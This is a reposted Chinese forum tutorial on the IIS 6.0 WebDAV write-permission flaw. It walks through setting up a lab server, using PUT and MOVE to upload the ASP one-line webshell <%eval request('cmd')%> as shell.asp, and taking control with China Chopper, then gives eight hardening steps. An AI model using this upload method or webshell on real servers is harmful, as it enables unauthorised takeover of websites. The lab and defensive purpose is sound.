Web漏洞知识:IIS6.0写权限漏洞攻击利用

论坛 期权论坛 脚本     
匿名技术用户   2021-1-4 16:52   11   0

当你的才华

还撑不起你的野心时

那你就应该静下心来学习


这篇IIS6.0 写权限漏洞攻击利用篇幅有点长,主要分三个部分:IIS 服务器配置、IIS漏洞写权限漏洞攻击、IIS6.0 安全加固防御

Web 漏洞利用知识点,都属于线上实现,一边操作一边记录笔记,方便后续查看,等有时间了再继续补充各个知识点,望见谅

目录

IIS6.0写权限漏洞攻击利用

简介

WebDAV的配置

写权限漏洞骚操作来临

IIS6.0 防御方法


IIS6.0写权限漏洞攻击利用

简介

IIS作为一款流行的Web服务器,在当今互联网环境中占有很大的比重,绝大多数的asp、asp.net网站都运行在它上面。因此,也引来了无数 黑客们关注的目光。目前针对IIS的攻击技术已经非常成熟,而且相对技术门槛较低,所以很多初学者拿它来练手。许多网站因为网站管理员的安全意识不高或技术上的疏忽而惨遭毒手。

1)WebDAV的作用

WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。这大大增强了Web应用的价值,以及效能。对于需要大量发布内容的用户而言,应用WebDav可以降低对CMS系统的依赖,而且能够更自由的进行创作。上传、下载变得轻松自如。

WebDAV是一种类FTP的协议,你可以用它在互联网上远程访问或共享你的文件。用户可以利用WebDAV客户端Web服务器上传或下载数据资料,其功能与FTP服务一样。与FTP相反,WebDAV可以更好地通过防火墙,并且有密码保护和加密。我们马上就来介绍一下如何在Windows中建立WebDAV服务器。

2)WebDAV 中使用的方法包括:

1. Options、Head 和 Trace

主要由应用程序用来发现和跟踪服务器支持和网络行为。

2. Get

检索文档。

3. Put 和 Post

将文档提交到服务器。

4. Delete

销毁资源或集合。

5. Mkcol

创建集合。

6.PropFind 和 PropPatch

针对资源和集合检索和设置属性。

7. Copy 和 Move

管理命名空间上下文中的集合和资源。

8. Lock 和 Unlock

改写保护。

WebDAV的配置

使IIS服务器具有可写入文件的功能

(1)配置IIS服务器

(2)开启WebDAV扩展

(3)开启web目录的写入权限

操作步骤

1. 配置IIS服务器

我们先安装IIS服务器。“开始”“管理工具”管理您的服务器。

弹出“管理您的服务器”对话框。选择“添加或删除角色”。

在“配置您的服务器向导”中,选择“自定义配置”

选择“应用程序服务器(IIS,ASP.NET)”

接着一直“下一步”。

如果要使IIS服务器支持asp.net(即aspx),还要选择“启用ASP.NET(E)”。

接着一直“下一步”就可以安装好了。安装过程中会要求插入windows server 2003安装盘。

注:如果是虚拟机,你可以直接将下载的IOS镜像导入也可

IIS服务器安装成功。(鉴于大家都会安装,环境为已安装好IIS。此处提供安装步骤图供不会的人学习。

这时,我们可以打开http://127.0.0.1/来确认安装是否成功。如果成功,将会显示以下网页。

下图是远程访问该网页的截图。

2. 开启WebDAV扩展功能

接着,对IIS服务器进行配置,启用“WebDAV扩展”功能。首先进入“Internet信息服务(IIS)管理器”。

在“Internet信息服务(IIS)管理器”中,左边栏中选择“Web服务扩展”,可在右侧中找到WebDAV。从图中我们可以发现,IIS默认未启用该扩展功能。

我们通过点击“允许”来开启该功能。

这时,我们可以测试该IIS服务器能够支持HTTP协议的哪些操作。

在命令窗口(CLI: command line interface)下,我们利用telnet工具,在IIS服务器的80端口上建立连接:

telnet 10.1.1.138 80

回车

若服务器10.1.1.138的端口80处于开放状态,则会进入一个全黑的界面。(在网络连通性测试或黑客攻击时,我们也常常使用“telnet 服务器IP 端口”这一方法来判断服务器的端口是否处于开放状态。)将以下内容复制至命令行(cmd)窗口,再按下回车,即向服务器10.1.1.138的端口80发送HTTP请求,以获取IIS服务器的信息。服务器也将通过本命令行窗口返回HTTP应答消息。

OPTIONS / HTTP/1.1

HOST: 10.1.1.138

Connection: Close

在记事本中输入HTTP请求消息,并粘贴至telnet 命令行窗口

服务器返回HTTP应答消息

其中,OPTIONS选项用于请求获得由Request-URI标识的资源在请求/响应的通信过程中可以使用的功能选项。从下图中,我们可以发现IIS服务器返回的功能选项中,除了GET\POST等常规HTTP选项外,还有MOVE\PUT\DELETE\COPY等一系列其它的选项。说明WebDAV扩展功能安装成功。

  HTTP/1.1 200 OK

            Connection: close

            Date: Thu, 08 Oct 2015 15:20:32 GMT

            Server: Microsoft-IIS/6.0

            MS-Author-Via: DAV

            Content-Length: 0

            Accept-Ranges: none

            DASL: <DAV:sql>

            DAV: 1, 2

            Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN

            D, PROPPATCH, LOCK, UNLOCK, SEARCH

            Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK

            Cache-Control: private

3. 设置IIS来宾用户对网站文件夹有写入权限

(1) 配置网站web目录的权限

默认网站的目录为C:\inetpub\wwwroot,右击该目录,选择“属性”,选择“安全”标签页,再选择Internet来宾帐户,在下方设置其权限“写入”为允许。

(2) 配置“默认网站”的属性

打开“IIS管理器”,在网站中找到我们建立的“默认网站”,右键,选择属性,可对“默认网站”的各种属性进行配置。

右键属性

我们主要配置“主目录”标签下的内容。勾选“脚本资源访问”、“写入”。

写权限漏洞骚操作来临

我们可以利用 “IIS PUT Scanner”对一个网段进行批量扫描发现网络中可能存在的IIS PUT写权限漏洞。对于存在IIS写权限漏洞的网站,可以利用桂林老兵写的“IIS write”来攻击。

1. IIS写权限漏洞扫描

这里,我们只对10.1.1.138(IIS服务器)这一个IP地址进行扫描,如下图所示。

从扫描结果可以发现,该IIS服务器存在写权限漏洞。为了验证是否是webdav组件的问题,我们现在把webdav禁用掉,立刻就会在put下面显示NO,这就是因为IIS PUT SCANER通过webdav查询的时候查不到PUT了。

2. IIS写权限漏洞攻击

此时可以用PUT上传文件,但是不可以直接上传可执行脚本文件,可以先上传一个其他类型的文件,然后MOVE成脚本文件。

IIS PUT写权限漏洞利用工具为IISwrite.exe

具体操作为:

(1)上传包含一句话的txt文件

提交数据包

a.  在“域名”处填入IIS服务器的IP地址

b.  在第一个下拉框中,选择PUT选项,弹出“选择文件”对话框。这时,我们选择ASP一句话文件,内容为<%eval request("cmd")%>

c.  提交数据包

提交数据包,会在服务端生成一个test.txt的文件,但是这个文件是无法被iis解析的,所以要利用到的是MOVE或COPY,主要目的是为了将txt的文件修改为asp,从而可以将文件变成可执行的脚本文件。

(2)将文件重命名为shell.asp

服务器上已成功存在

直接选择“MOVE”,再“提交数据包”,就可以将test.txt修改为shell.asp了

我们可以验证一下IIS服务器上确实存在shell.asp文件

访问http://10.1.1.138/shell.asp,没有出现404页面,说明该shell.asp文件在服务器上存在

(3) 菜刀成功连接

在“中国菜刀”中新增一个shell连接,如图所示,输入地址、连接密码cmd、选择脚本类型为ASP(Eval)。

菜刀成功登录WebShell, 在新增的shell连接上,右击,选择文件管理,即可查看到服务器上的文件列表

菜刀成功连接!这样我们就得到了一个WebShell。从整个攻击过程来看,用的时间很短,而且技术门槛很低,一个普通人运用工具也可以很快拿下一个网站。但遗憾的是,在实际的渗透测试过程中,依然有不少站点存在这样的漏洞,希望通过这个实例能够引起广大网络管理员对安全的重视。

IIS6.0 防御方法

通过8个步骤实现IIS6.0的安全加固

1. 删除IIS默认网站

把IIS6.0默认安装的站点删除或禁用掉。

默认网站中,其网站路径为C:\inetpub\wwwroot,网络访问端口为80。黑客可以通过这些默认配置,很容易就分析出网站的部署架构、路 径信息,方便地实现网络攻击。因此,搭建网站时,最好不要使用默认网站,而是新建一个站点,在系统盘以外的其它盘(如D盘)新建目录作为新站点的主目录, 并对该目录之外的其它目录访问权限进行严格限制。

新建mysite网站。如有必要,可将其端口设置为80之外的其它端口,将本地路径修改为其它路径。

新网站mysite的端口设置为9999,本地路径为C:\mysite

2. 禁用不必要的Web服务扩展

打开IIS 管理器,检查是否有不必要的“Web服务扩展”,如果有则禁用掉。对于ASP网站,我们一般只需要启用“Active Server Page”(即ASP)扩展。对于ASPX网站,我们则要启用“ASP.NET”扩展。例如,mysite网站只需要使用ASP,不需要ASP.NET, 因此,我们禁用掉ASP.NET。

3. 为不同的网站配置不同的匿名访问账户

如果IIS中有多个网站,建议为每个网站配置不同的匿名访问账户。

方法:

(1)新建一个账号,加入Guests组

> net user mysite1user [复杂密码] /add

> net localgroup Guests mysiteuser /add

> net localgroup Users mysiteuser /del

> net user mysiteuser // 确认mysiteuser所属组只有Guests

(2)“网站属性”--->“目录安全性”--->“身份验证和访问控制”,把“启用匿名访问”处,用刚新建的账户代替默认账户,如图所示。

4. 网站目录权限配置

网站目录权限配置主要遵循以下原则:

(1)目录有写入权限,一定不要分配执行权限;

(2)目录有执行权限,一定不要分配写入权限

(3)网站上传目录和数据库目录一般需要分配“写入”权限,但一定不要分配执行权限

(4)其他目录一般只分配“读取”和“记录访问”权限即可

(5)当存在多个网站时,严格限制每个网站的匿名访问用户对其它网站目录的访问

例如,对于uploads文件夹,其功能是保存用户上传的图片、文档等资源,我们需要设置该目录具有写入权限和读取权限,限制其它权限。

对于admin等网站的运行脚本所在的目录,我们设置其为可执行权限和读取权限,限制写入权限。

【操作】 给网站目录添加用户

为mysite网站的Uploads目录添加用户mysiteuser:

为mysiteuser用户分配读取和写入权限,限制其执行权限:

5. 只保留必要的应用程序扩展

根据网站的实际情况,只保留必要的应用程序扩展,其他的一律删除,尤其是像cer、asa这样极其危险的扩展,而且一般网站也不需要它。

6. 修改IIS日志文件配置

无论是什么服务器,日志都是应该高度重视的部分。当发生安全事件时,我们可以通过分析日志来还原攻击过程,否则将无从查起。有条件的话,可以将日志发送到专门的日志服务器保存。

先检查是否启用了日志记录,如未启用,则启用它。日志格式设置为W3C扩展日志格式,IIS中默认是启用日志记录的。

接着修改IIS日志文件保存路径,默认保存在“C:\WINDOWS\system32\LogFiles”目录下,这里修改为自定义路径。建议保 存在非系统盘路径,并且IIS日志文件所在目录只允许Administrators组用户和SYSTEM用户访问

7. 防止信息泄露

(1)禁止向客户端发送详细的ASP错误信息

“IIS管理器”--->“属性”--->“主目录”--->“配置”--->“调试”,选择“向客户端发送下列文本错误消息”项,自定义出错时返回的错误信息,如图。

(2)修改默认错误页面

“IIS管理器”--->“属性”--->“自定义错误”,用自定义的错误页面替换默认的默认页面。下面是我自定义的一个404错误页面,当网站发生404错误时,将向客户端返回这个页面,。

8. 自定义IIS 的HTTP头信息

默认Banner信息会泄露服务器类型、版本等相关信息,我们需要对其进行修改,这样可以防止信息泄露,还可以骗过一些自动化扫描、攻击工具。

在修改之前,我们先来看下默认的HTTP头信息是什么样的。我们向IIS服务器发一个请求,然后用抓包工具分析它返回的数据,就可以发现HTTP头信息,如图所示:

上图用红框标注的地方就是HTTP头信息,通过它我们就可以确定目标网站使用的是IIS服务器。

现在我们来看下如何自定义HTTP头信息。首先,打开“IIS管理器”--->“属性”--->“HTTP头”,在“自定义HTTP头”选中 默认的HTTP头信息,进行编辑,或者删除掉默认的,自己添加一个新的HTTP头信息。图16中是我随便自定义的一个HTTP头。

在修改完成后,我们再来抓包分析一下,如图所示:

从图上可以看到,现在IIS服务器返回的HTTP头已经是我们自定义的了。


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


分享到 :
0 人收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

积分:7942463
帖子:1588486
精华:0
期权论坛 期权论坛
发布
内容

下载期权论坛手机APP